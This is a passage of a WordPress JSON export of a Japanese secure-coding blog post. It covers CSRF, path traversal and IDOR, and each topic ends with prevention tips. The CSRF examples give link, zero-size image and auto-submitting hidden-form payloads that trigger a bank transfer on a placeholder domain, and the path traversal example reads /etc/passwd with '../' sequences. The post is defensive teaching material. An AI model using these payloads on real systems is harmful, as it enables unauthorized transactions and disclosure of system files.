u6027\u306e\u3042\u308b\u30b5\u30a4\u30c8\u306bURL\u3092\u57cb\u3081\u8fbc\u3093\u3060\u308a\u3057\u307e\u3059\u3002\u653b\u6483\u7528\u306eURL\u306f\u901a\u5e38\u306e\u30ea\u30f3\u30af\u3068\u3057\u3066\u507d\u88c5\u3055\u308c\u3001\u88ab\u5bb3\u8005\u306b\u305d\u306e\u30ea\u30f3\u30af\u3092\u30af\u30ea\u30c3\u30af\u3059\u308b\u3088\u3046\u306b\u4fc3\u3057\u307e\u3059\u3002<\/p>\n<pre>&lt;a href=\"http:\/\/bank.com\/transfer.do?acct=user3&amp;amount=200000\"&gt;\u30af\u30ea\u30c3\u30af\u3057\u3066\u753b\u50cf\u3092\u898b\u308b&lt;\/a&gt;\r\n\u307e\u305f\u306f\u4ee5\u4e0b\u306e\u753b\u50cf\r\n&lt;img src=\"http:\/\/bank.com\/transfer?account=user3&amp;amount=200000\" width=\"0\" height=\"0\" border=\"0\"&gt;<\/pre>\n<p>\u3082\u3057\u3053\u306e\u753b\u50cf\u30bf\u30b0\u304c\u30e1\u30fc\u30eb\u306b\u542b\u307e\u308c\u3066\u3044\u308c\u3070\u3001\u30e6\u30fc\u30b6\u30fc1\u306f\u4f55\u3082\u898b\u3089\u308c\u3066\u3044\u307e\u305b\u3093\u304c\u3001\u30d6\u30e9\u30a6\u30b6\u306f\u5f15\u304d\u7d9a\u304dbank.com\u306b\u30ea\u30af\u30a8\u30b9\u30c8\u3092\u9001\u4fe1\u3057\u3001\u8996\u899a\u7684\u306a\u8868\u793a\u304c\u306a\u3044\u307e\u307e\u304a\u91d1\u304c\u9001\u4fe1\u3055\u308c\u3066\u3057\u307e\u3044\u307e\u3059\u3002<\/p>\n<p><strong>\u305d\u306e\u4ed6\u306e\u5834\u5408<\/strong><\/p>\n<p>\u9280\u884c\u304c\u73fe\u5728 POST\u30ea\u30af\u30a8\u30b9\u30c8\u3092\u4f7f\u7528\u3057\u3066\u304a\u308a\u3001\u8106\u5f31\u306a\u30ea\u30af\u30a8\u30b9\u30c8\u304c\u6b21\u306e\u3088\u3046\u306b\u306a\u3063\u3066\u3044\u308b\u3068\u3057\u307e\u3059\u3002<\/p>\n<pre>POST http:\/\/bank.com\/transfer\r\naccount=user2&amp;amount=1000<\/pre>\n<p>\u3053\u306e\u3088\u3046\u306a\u30ea\u30af\u30a8\u30b9\u30c8\u306f\u3001\u6a19\u6e96\u306e &lt;a&gt; \u30bf\u30b0\u3084 &lt;img&gt; \u30bf\u30b0\u3092\u4f7f\u7528\u3057\u3066\u9001\u4fe1\u3059\u308b\u3053\u3068\u306f\u3067\u304d\u307e\u305b\u3093\u304c\u3001\u6b21\u306e\u3088\u3046\u306b &lt;form&gt; \u30bf\u30b0\u3067\u9001\u4fe1\u3067\u304d\u307e\u3059\u3002<\/p>\n<pre>&lt;form action=\"http:\/\/bank.com\/transfer\" method=\"POST\"&gt; \r\n  &lt;input type=\"hidden\" name=\"account\" value=\"user3\"\/&gt;\r\n  &lt;input type=\"hidden\" name=\"amount\" value=\"200000\"\/&gt;\r\n  &lt;input type=\"submit\" value=\"submit\"\/&gt;\r\n&lt;\/form&gt;<\/pre>\n<p>\u3053\u306e\u30d5\u30a9\u30fc\u30e0\u3067\u306f\u30e6\u30fc\u30b6\u30fc\u306b\u9001\u4fe1\u30dc\u30bf\u30f3\u3092\u30af\u30ea\u30c3\u30af\u3059\u308b\u3088\u3046\u6c42\u3081\u307e\u3059\u304c\u3001JavaScript \u3092\u4f7f\u7528\u3057\u3066\u81ea\u52d5\u7684\u306b\u5b9f\u884c\u3059\u308b\u3053\u3068\u3082\u3067\u304d\u307e\u3059\u3002<\/p>\n<pre>&lt;body onload=\"document.forms[0].submit()\"&gt;\r\n  &lt;form action=\"http:\/\/bank.com\/transfer\" method=\"POST\"&gt; \r\n    &lt;input type=\"hidden\" name=\"account\" value=\"user3\"\/&gt;\r\n    &lt;input type=\"hidden\" name=\"amount\" value=\"200000\"\/&gt;\r\n    &lt;input type=\"submit\" value=\"submit\"\/&gt;\r\n  &lt;\/form&gt;\r\n&lt;\/body&gt;<\/pre>\n<p><strong>\u9632\u6b62\u65b9\u6cd5<\/strong><\/p>\n<ul>\n<li><strong>\u30e6\u30fc\u30b6\u30fc\u5074<\/strong>\n<ul>\n<li>\u53d6\u5f15\u304c\u5b8c\u4e86\u3057\u305f\u3089\u3001\u9280\u884c\u53e3\u5ea7\u3001\u30aa\u30f3\u30e9\u30a4\u30f3\u652f\u6255\u3044\u3001\u30bd\u30fc\u30b7\u30e3\u30eb \u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u3001Gmail \u306a\u3069\u306e\u91cd\u8981\u306a Web \u30b5\u30a4\u30c8\u304b\u3089\u30ed\u30b0\u30a2\u30a6\u30c8\u3057\u305f\u307b\u3046\u304c\u3088\u3044\u3067\u3059\u3002<\/li>\n<li>\u96fb\u5b50\u30e1\u30fc\u30eb\u3084 Facebook \u306a\u3069\u3067\u53d7\u4fe1\u3057\u305f\u4e0d\u660e\u306a\u30ea\u30f3\u30af\u3092\u30af\u30ea\u30c3\u30af\u3057\u305f\u308a\u3001\u5909\u306a\u96fb\u5b50\u30e1\u30fc\u30eb\u3092\u958b\u3044\u305f\u308a\u3057\u306a\u3044\u3053\u3068\u3067\u3059\u3002<\/li>\n<li>\u30d6\u30e9\u30a6\u30b6\u306b\u30d1\u30b9\u30ef\u30fc\u30c9\u60c5\u5831\u3092\u4fdd\u5b58\u3057\u306a\u3044\u3053\u3068\u3067\u3059\u3002(\u300c\u6b21\u56de\u30ed\u30b0\u30a4\u30f3\u6642\u306b\u81ea\u52d5\u7684\u306b\u5165\u529b\u3059\u308b\u300d\u307e\u305f\u306f\u300c\u30d1\u30b9\u30ef\u30fc\u30c9\u3092\u4fdd\u5b58\u3059\u308b\u300d\u65b9\u6cd5\u3092\u9078\u629e\u3057\u306a\u3044\u307b\u3046\u304c\u3088\u3044\u3067\u3059)\u3002<\/li>\n<li>\u53d6\u5f15\u4e2d\u307e\u305f\u306f\u91cd\u8981\u306a Web \u30b5\u30a4\u30c8\u306b\u30a2\u30af\u30bb\u30b9\u3057\u3066\u3044\u308b\u9593\u306f\u3001\u4ed6\u306e Web \u30b5\u30a4\u30c8\u306b\u30a2\u30af\u30bb\u30b9\u3057\u306a\u3044\u3053\u3068\u3002\u653b\u6483\u8005\u306e\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8 \u30b3\u30fc\u30c9\u304c\u542b\u307e\u308c\u3066\u3044\u308b\u53ef\u80fd\u6027\u304c\u3042\u308b\u304b\u3089\u3067\u3059\u3002<\/li>\n<\/ul>\n<\/li>\n<li><strong>\u30b5\u30fc\u30d0\u30fc\u5074<\/strong>\n<ul>\n<li>GET\u3068POST\u3092\u9069\u5207\u306b\u4f7f\u7528\u3059\u308b\u5fc5\u8981\u304c\u3042\u308a\u307e\u3059\u3002\u30c7\u30fc\u30bf\u3092\u30af\u30a8\u30ea\u3059\u308b\u5834\u5408\u306fGET\u3092\u4f7f\u7528\u3057\u3001\u30b7\u30b9\u30c6\u30e0\u306b\u5909\u66f4\u3092\u3055\u305b\u308b\u5834\u5408\u306fPOST\u3092\u4f7f\u7528\u3057\u3066\u304f\u3060\u3055\u3044\u3002\u30a2\u30d7\u30ea\u304cRESTful\u306e\u6a19\u6e96\u306b\u5f93\u3063\u3066\u3044\u308b\u5834\u5408\u3001PATCH\u3001PUT\u3001DELETE\u306a\u3069\u306eHTTP\u52d5\u8a5e\u3082\u4f7f\u7528\u3067\u304d\u307e\u3059\u3002<\/li>\n<li>Captcha\u306f\u30b7\u30b9\u30c6\u30e0\u3068\u3084\u308a\u53d6\u308a\u3057\u3066\u3044\u308b\u4e3b\u4f53\u304c\u4eba\u9593\u304b\u3069\u3046\u304b\u3092\u5224\u65ad\u3059\u308b\u305f\u3081\u306b\u4f7f\u7528\u3055\u308c\u307e\u3059\u3002&#8221;\u30ed\u30b0\u30a4\u30f3&#8221;\u3001&#8221;\u632f\u308a\u8fbc\u3080&#8221;\u3001&#8221;\u652f\u6255\u3044&#8221;\u306a\u3069\u306e\u91cd\u8981\u306a\u64cd\u4f5c\u3067\u306f\u901a\u5e38Captcha\u304c\u4f7f\u7528\u3055\u308c\u307e\u3059\u3002<\/li>\n<li>\u7ba1\u7406\u30da\u30fc\u30b8\u306b\u5225\u306eCookie\u3092\u4f7f\u7528\u3057\u307e\u3059\u3002<\/li>\n<li>IP\u3092\u691c\u8a3c\u3057\u307e\u3059\u3002\u91cd\u8981\u306a\u30b7\u30b9\u30c6\u30e0\u3067\u306f\u3001\u4e8b\u524d\u306b\u8a2d\u5b9a\u3055\u308c\u305fIP\u304b\u3089\u306e\u30a2\u30af\u30bb\u30b9\u3057\u304b\u8a31\u53ef\u3055\u308c\u307e\u305b\u3093\u3002<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<h3><span style=\"color: #000000;\"><b>\u30d1\u30b9\u30c8\u30e9\u30d0\u30fc\u30b5\u30eb<\/b><\/span><\/h3>\n<p>\u30d1\u30b9\u30c8\u30e9\u30d0\u30fc\u30b5\u30eb\u306f\u3001\u653b\u6483\u8005\u304c\u30a6\u30a7\u30d6\u306e\u30eb\u30fc\u30c8\u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u30fc\u306e\u5916\u90e8\u306b\u4fdd\u5b58\u3055\u308c\u3066\u3044\u308b\u30d5\u30a1\u30a4\u30eb\u3084\u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u306b\u30a2\u30af\u30bb\u30b9\u3057\u3066\u3001\u671b\u307e\u3057\u304f\u306a\u3044\u30d5\u30a1\u30a4\u30eb\u3092\u8aad\u3080\u3053\u3068\u304c\u3067\u304d\u308b\u30a6\u30a7\u30d6\u306e\u8106\u5f31\u6027\u3067\u3059\u3002\u3053\u308c\u306b\u3088\u308a\u3001\u30b5\u30fc\u30d0\u30fc\u4e0a\u306e\u30d5\u30a1\u30a4\u30eb\u3001\u30ed\u30b0\u30a4\u30f3\u60c5\u5831\u3084OS\u306e\u60c5\u5831\u306a\u3069\u306e\u30a2\u30d7\u30ea\u306e\u6a5f\u5bc6\u60c5\u5831\u304c\u6f0f\u6d29\u3059\u308b\u53ef\u80fd\u6027\u304c\u3042\u308a\u307e\u3059\u3002\u3042\u308b\u30b1\u30fc\u30b9\u3067\u306f\u3001\u30b5\u30fc\u30d0\u30fc\u4e0a\u306e\u30d5\u30a1\u30a4\u30eb\u306b\u66f8\u304d\u8fbc\u3080\u3053\u3068\u3082\u53ef\u80fd\u3067\u3001\u653b\u6483\u8005\u306f\u30c7\u30fc\u30bf\u3092\u5909\u66f4\u3057\u305f\u308a\u3001\u30b5\u30fc\u30d0\u30fc\u3092\u5236\u5fa1\u3057\u305f\u308a\u3059\u308b\u3053\u3068\u304c\u3067\u304d\u308b\u3088\u3046\u306b\u306a\u308b\u3053\u3068\u3082\u3042\u308a\u307e\u3059\u3002<\/p>\n<p>\u4f8b\uff1a<\/p>\n<p>\u3042\u308b\u30a2\u30d7\u30ea\u304c\u4ee5\u4e0b\u306e\u3088\u3046\u306b\u753b\u50cf\u3092\u30ed\u30fc\u30c9\u3057\u307e\u3059\u3002<\/p>\n<pre>&lt;img src=\"\/loadImage?filename=image-logo.png\"&gt;<\/pre>\n<p>filename=image-logo.png\u3068\u3044\u3046\u30d1\u30e9\u30e1\u30fc\u30bf\u3092\u6e21\u3057\u3066\u3001\u30ea\u30af\u30a8\u30b9\u30c8\u3092\u9001\u4fe1\u3059\u308c\u3070\u3001\u6307\u5b9a\u30d5\u30a1\u30a4\u30eb\u306e\u5185\u5bb9\u3068\/var\/www\/images\/image-logo.png\u306b\u3042\u308b\u753b\u50cf\u30d5\u30a1\u30a4\u30eb\u304c\u8fd4\u5374\u3055\u308c\u307e\u3059\u3002<\/p>\n<p>\u3053\u306e\u5834\u5408\u3001\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306f\u30d1\u30b9\u30c8\u30e9\u30d0\u30fc\u30b5\u30eb\u653b\u6483\u3092\u9632\u304c\u306a\u3044\u305f\u3081\u3001\u653b\u6483\u8005\u306f\u4efb\u610f\u306e\u30ea\u30af\u30a8\u30b9\u30c8\u3092\u884c\u3044\u3001\u30b7\u30b9\u30c6\u30e0\u5185\u306e\u30d5\u30a1\u30a4\u30eb\u3092\u8aad\u307f\u53d6\u308b\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002<\/p>\n<p>\u4f8b\uff1a<\/p>\n<pre>https:\/\/hostname\/loadImage?filename=..\/..\/..\/etc\/passwd<\/pre>\n<p>\u3053\u306e\u6642\u3001\u30a2\u30d7\u30ea\u306f\/var\/www\/images\/..\/..\/..\/etc\/passwd\u3068\u3044\u3046\u30d5\u30a1\u30a4\u30eb\u30d1\u30b9\u306e\u3042\u308b\u30d5\u30a1\u30a4\u30eb\u3092\u8aad\u3093\u3067\u3001..\/\u3054\u3068\u306b\u73fe\u5728\u306e\u30d5\u30a9\u30eb\u30c0\u30fc\u306e\u5143\u30d5\u30a9\u30eb\u30c0\u30fc\u306b\u623b\u308a\u307e\u3059\u3002\u305d\u308c\u3067\u3001..\/..\/..\/ \u3067\/var\/www\/images\/\u30d5\u30a9\u30eb\u30c0\u30fc\u304b\u3089\u5143\u30d5\u30a9\u30eb\u30c0\u30fc\u306b\u623b\u3063\u3066\u3001 \/etc\/passwd\u30d5\u30a1\u30a4\u30eb\u306f\u8aad\u307e\u308c\u308b\u30d5\u30a1\u30a4\u30eb\u3067\u3059\u3002<\/p>\n<p>Linux\u306eOS\u3067\u306f \/etc\/passwd\/\u30d5\u30a1\u30a4\u30eb\u306f\u30e6\u30fc\u30b6\u30fc\u306e\u60c5\u5831\u3092\u683c\u7d0d\u3057\u3066\u3044\u308b\u30d5\u30a1\u30a4\u30eb\u3067\u3059\u3002<\/p>\n<p>\/etc\/passwd\/ \u3092\u8aad\u3093\u3060\u5f8c\u3001\u4ee5\u4e0b\u306e\u3088\u3046\u306b\u898b\u3048\u307e\u3059\u3002<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-7819 size-full\" src=\"https:\/\/s3-ap-southeast-1.amazonaws.com\/homepage-media\/wp-content\/uploads\/2023\/07\/21090548\/secure-coding-3.png\" alt=\"\" width=\"821\" height=\"587\" srcset=\"https:\/\/s3-ap-southeast-1.amazonaws.com\/homepage-media\/wp-content\/uploads\/2023\/07\/21090548\/secure-coding-3.png 821w, https:\/\/s3-ap-southeast-1.amazonaws.com\/homepage-media\/wp-content\/uploads\/2023\/07\/21090548\/secure-coding-3-300x214.png 300w, https:\/\/s3-ap-southeast-1.amazonaws.com\/homepage-media\/wp-content\/uploads\/2023\/07\/21090548\/secure-coding-3-768x549.png 768w\" sizes=\"auto, (max-width: 821px) 100vw, 821px\" \/><\/p>\n<p>\/etc\/passwd\/\u30d5\u30a1\u30a4\u30eb\u4ee5\u5916\u3001\u653b\u6483\u8005\u306f\u30b7\u30b9\u30c6\u30e0\u306b\u5b58\u5728\u3057\u3066\u3044\u308b\u307b\u304b\u306e\u30d5\u30a1\u30a4\u30eb\u3084\u30d5\u30a9\u30eb\u30c0\u30fc\u3092\u8aad\u3081\u308b\u3088\u3046\u306b\u4efb\u610f\u306a\u30ea\u30af\u30a8\u30b9\u30c8\u3092\u5b9f\u884c\u3059\u308b\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002<\/p>\n<p><strong>\u9632\u6b62\u65b9\u6cd5<\/strong><\/p>\n<ol>\n<li>\u51e6\u7406\u524d\u306b\u30e6\u30fc\u30b6\u30fc\u5165\u529b\u3092\u691c\u8a3c\u3059\u308b\u3053\u3068\u3067\u3059\u3002<\/li>\n<li>\u30a6\u30a7\u30d6\u306e\u30eb\u30fc\u30c8\u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u30fc\u5185\u306b\u6a5f\u5bc6\u306a\u8a2d\u5b9a\u30d5\u30a1\u30a4\u30eb\u3092\u4fdd\u5b58\u3057\u306a\u3044\u3053\u3068\u3067\u3059\u3002<\/li>\n<li>\u8a31\u53ef\u3055\u308c\u305f\u5024\u306b\u30db\u30ef\u30a4\u30c8\u30ea\u30b9\u30c8\u3092\u4f7f\u7528\u3057\u3066\u3001\u307e\u305f\u306f\u30d5\u30a1\u30a4\u30eb\u540d\u304c\u666e\u901a\u306e\u6587\u5b57\u3001\u6570\u5b57\u3092\u4f7f\u7528\u3057\u3066\u3001\u7279\u6b8a\u6587\u5b57\u3092\u542b\u3081\u306a\u3044\u3088\u3046\u306b\u3059\u308b\u3053\u3068\u3067\u3059\u3002<\/li>\n<li>\u30d5\u30a1\u30a4\u30eb\u306b\u95a2\u3057\u3066\u306f\u3001Amazon S3\u3092\u4f7f\u7528\u3057\u3066\u4fdd\u5b58\u304a\u3088\u3073\u30a2\u30af\u30bb\u30b9\u3057\u3066\u3082\u3088\u3044\u3067\u3059\u3002<\/li>\n<\/ol>\n<h3>IDOR \u8106\u5f31\u6027 (Insecure Direct Object References)<\/h3>\n<p>\u5b89\u5168\u3067\u306a\u3044\u76f4\u63a5\u30aa\u30d6\u30b8\u30a7\u30af\u30c8\u53c2\u7167 (IDOR) \u306f\u3001\u30e6\u30fc\u30b6\u30fc\u304c\u63d0\u4f9b\u3057\u305f\u30c7\u30fc\u30bf\u3092\u901a\u3058\u3066\u3001\u30d7\u30ed\u30b0\u30e9\u30e0\u306b\u30e6\u30fc\u30b6\u30fc\u304c\u30c7\u30fc\u30bf\u3001\u30d5\u30a1\u30a4\u30eb\u3001\u30d5\u30a9\u30eb\u30c0\u30fc\u3001\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u306a\u3069\u306e\u30ea\u30bd\u30fc\u30b9 \u306b\u4e0d\u6b63\u306b\u30a2\u30af\u30bb\u30b9\u3055\u305b\u308b\u3068\u304d\u306b\u767a\u751f\u3059\u308b\u8106\u5f31\u6027\u3067\u3059\u3002<\/p>\n<p>\u4f8b\uff1a<\/p>\n<p>&#8220;\u6ce8\u6587\u7ba1\u7406&#8221;\u30bb\u30af\u30b7\u30e7\u30f3\u3067\u306f\u3001\u6ce8\u6587\u306eURL\u306f\u6b21\u306e\u3088\u3046\u306b\u306a\u308a\u307e\u3059: http:\/\/shop.com\/user\/order\/1\u3002\u30b5\u30fc\u30d0\u30fc\u306fURL\u304b\u3089ID = 1\u3092\u8aad\u307f\u53d6\u308a\u3001\u305d\u306e\u5f8c\u3001\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u5185\u3067ID = 1\u306e\u6ce8\u6587\u3092\u691c\u7d22\u3057\u3001\u30c7\u30fc\u30bf\u3092HTML\u306b\u6ce8\u304e\u8fbc\u307f\u307e\u3059\u3002\u305d\u308c\u304b\u3089\u3001ID = 1\u3092\u5225\u306e\u756a\u53f7\u306b\u5909\u66f4\u3059\u308b\u3068\u3001\u30b7\u30b9\u30c6\u30e0\u306f\u5168\u3066\u306e\u6ce8\u6587\u3092\u8aad\u307f\u53d6\u308a\u3001\u8868\u793a\u3057\u307e\u3059\uff08\u4ed6\u306e\u9867\u5ba2\u306e\u6ce8\u6587\u3082\u542b\u3080\uff09\u3002<\/p>\n<p>\u3053\u3053\u3067\u306e\u8106\u5f31\u6027\u306f\u6b21\u306e\u901a\u308a\u3067\u3059\u3002\u30d7\u30ed\u30b0\u30e9\u30e0\u306fURL\u3067\u63d0\u4f9b\u3055\u308c\u305f\u30c7\u30fc\u30bf\uff08ID\uff09\u306b\u3088\u308a\u3001\u8cc7\u6e90\uff08\u4ed6\u306e\u30e6\u30fc\u30b6\u30fc\u306e\u6ce8\u6587\uff09\u306b\u4e0d\u6b63\u306b\u30a2\u30af\u30bb\u30b9\u3092\u8a31\u53ef\u3057\u3066\u3044\u307e\u3059\u3002\u672c\u6765\u306a\u3089\u3070\u3001\u30d7\u30ed\u30b0\u30e9\u30e0\u306f\u305d\u306e\u30e6\u30fc\u30b6\u30fc\u304c\u3053\u308c\u3089\u306e\u30c7\u30fc\u30bf\u306b\u30a2\u30af\u30bb\u30b9\u3059\u308b\u6a29\u9650\u3092\u6301\u3063\u3066\u3044\u308b\u304b\u3069\u3046\u304b\u3092\u78ba\u8a8d\u3059\u308b\u5fc5\u8981\u304c\u3042\u308a\u307e\u3059\u3002<\/p>\n<p>\u5b9f\u969b\u306b\u306f\u3001\u30cf\u30c3\u30ab\u30fc\u306f\u3055\u307e\u3056\u307e\u306a\u624b\u6cd5\u304c\u4f7f\u7528\u3067\u304d\u307e\u3059\u3002\u4f8b\u3048\u3070\u3001URL\u3092\u5909\u66f4\u3057\u305f\u308a\u3001API\u5185\u306e\u30d1\u30e9\u30e1\u30fc\u30bf\u3092\u5909\u66f4\u3057\u305f\u308a\u3001\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u304c\u78ba\u4fdd\u3055\u308c\u3066\u3044\u306a\u3044\u30ea\u30bd\u30fc\u30b9\u3092\u30b9\u30ad\u30e3\u30f3\u3059\u308b\u305f\u3081\u306b\u30c4\u30fc\u30eb\u3092\u4f7f\u7528\u3057\u305f\u308a\u3059\u308b\u3053\u3068\u304c\u3042\u308a\u307e\u3059\u3002<\/p>\n<p><strong>\u9632\u6b62\u65b9\u6cd5<\/strong><\/p>\n<ol>\n<li>\u30e6\u30fc\u30b6\u30fc\u306b\u53b3\u683c\u306a\u6a29\u9650\u3092\u8a2d\u5b9a\u3059\u308b\u3053\u3068\u3067\u3059\u3002<\/li>\n<li>\u5e38\u306b\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u3092\u771f\u5263\u306b\u30c6\u30b9\u30c8\u3059\u308b\u3053\u3068\u3067\u3059\u3002<\/li>\n<li>\u30bd\u30fc\u30b9\u30b3\u30fc\u30c9\u3001\u8a2d\u5b9a\u3001\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u30ad\u30fc\u306a\u3069\u306e\u6a5f\u5bc6\u306a\u30c7\u30fc\u30bf\u3092\u5b88\u308b\u305f\u3081\u306b\u3001\u30a2\u30af\u30bb\u30b9\u3092\u5236\u9650\u3059\u308b\u3053\u3068\u3067\u3059\u3002\u3053\u308c\u3089\u306e\u30c7\u30fc\u30bf\u3078\u306e\u30a2\u30af\u30bb\u30b9\u3092\u5185\u90e8IP\u306b\u306e\u307f\u8a31\u53ef\u3059\u308b\u306e\u304c\u6700\u3082\u826f\u3044\u65b9\u6cd5\u3067\u3059\u3002<\/li>\n<\/ol>\n<h2>\u7d50\u8ad6<\/h2>\n<p>\u30bb\u30ad\u30e5\u30a2\u30b3\u30fc\u30c7\u30a3\u30f3\u30b0\u3092\u30a2\u30d7\u30ea\u306b\u4f7f\u7528\u3059\u308b\u3053\u3068\u306f\u3001\u5b89\u5168\u6027\u3068\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u3092\u78ba\u4fdd\u3059\u308b\u305f\u3081\u306b\u4e0d\u53ef\u6b20\u306a\u8981\u7d20\u3067\u3059\u3002\u30bb\u30ad\u30e5\u30a2\u30b3\u30fc\u30c7\u30a3\u30f3\u30b0\u306e\u539f\u5247\u3068\u624b\u6cd5\u3092\u9069\u7528\u3059\u308b\u3053\u3068\u3067\u3001\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30db\u30fc\u30eb\u304c\u521d\u671f\u6bb5\u968e\u3067\u767a\u751f\u3059\u308b\u306e\u3092\u9632\u304e\u3001\u5c06\u6765\u306e\u30ea\u30b9\u30af\u3092\u6700\u5c0f\u9650\u306b\u6291\u3048\u308b\u306e\u306b\u5f79\u7acb\u3061\u307e\u3059\u3002\u30e6\u30fc\u30b6\u30fc\u306b\u4fe1\u983c\u6027\u306e\u9ad8\u3044\u5b89\u5168\u306a\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u3092\u63d0\u4f9b\u3057\u307e\u3057\u3087\u3046\u3002<\/p>\n<h2>\u53c2\u8003\u8cc7\u6599<\/h2>\n<p><a href=\"https:\/\/owasp.org\/www-community\/attacks\/\">https:\/\/owasp.org\/www-community\/attacks\/<\/a><\/p>\n<p><a href=\"https:\/\/owasp.org\/www-pdf-archive\/OWASP_SCP_Quick_Reference_Guide_v1.pdf\">https:\/\/owasp.org\/www-pdf-archive\/OWASP_SCP_Quick_Reference_Guide_v1.pdf<\/a><\/p>\n<p><a href=\"https:\/\/cwe.mitre.org\/data\/\">https:\/\/cwe.mitre.org\/data\/<\/a><\/p>\n<p><a href=\"https:\/\/www.websec.ca\/kb\/sql_injection\">https:\/\/www.websec.ca\/kb\/sql_injection<\/a><\/p>\n<p><a href=\"https:\/\/codedx.com\/insecure-direct-object-references\/\">https:\/\/codedx.com\/insecure-direct-object-references\/<\/a><\/p>\n<p><a href=\"https:\/\/viblo.asia\/s\/secure-coding-for-developers-dbZN76EalYM\">https:\/\/viblo.asia\/s\/secure-coding-for-developers-dbZN76EalYM<\/a><\/p>","protected":false},"excerpt":{"rendered":"<p>\u30bb\u30ad\u30e5\u30a2\u30b3\u30fc\u30c7\u30a3\u30f3\u30b0\u306b\u3064\u3044\u3066\u306e\u7d39\u4ecb \u30bb\u30ad\u30e5\u30a2 \u30b3\u30fc\u30c7\u30a3\u30f3\u30b0\u306f\u3001\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u3092\u5b89\u5168\u306b\u958b\u767a\u3059\u308b\u3053\u3068\u3092\u76ee\u7684\u306b\u3057\u3066\u3001\u4fb5\u5165\u8005\u3084\u30cf\u30c3\u30ab\u30fc\u304b [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":7807,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_mi_skip_tracking":false,"footnotes":""},"categories":[4,67,71],"tags":[],"class_list":["post-7802","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-news","category-security","category-it-tec"],"_links":{"self":[{"href":"https:\/\/www.briswell-vn.com\/ja\/wp-json\/wp\/v2\/posts\/7802","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.briswell-vn.com\/ja\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.briswell-vn.com\/ja\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.briswell-vn.com\/ja\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.briswell-vn.com\/ja\/wp-json\/wp\/v2\/comments?post=7802"}],"version-history":[{"count":14,"href":"https:\/\/www.briswell-vn.com\/ja\/wp-json\/wp\/v2\/posts\/7802\/revisions"}],"predecessor-version":[{"id":9130,"href":"https:\/\/www.briswell-vn.com\/ja\/wp-json\/wp\/v2\/posts\/7802\/revisions\/9130"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.briswell-vn.com\/ja\/wp-json\/wp\/v2\/media\/7807"}],"wp:attachment":[{"href":"https:\/\/www.briswell-vn.com\/ja\/wp-json\/wp\/v2\/media?parent=7802"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.briswell-vn.com\/ja\/wp-json\/wp\/v2\/categories?post=7802"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.briswell-vn.com\/ja\/wp-json\/wp\/v2\/tags?post=7802"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}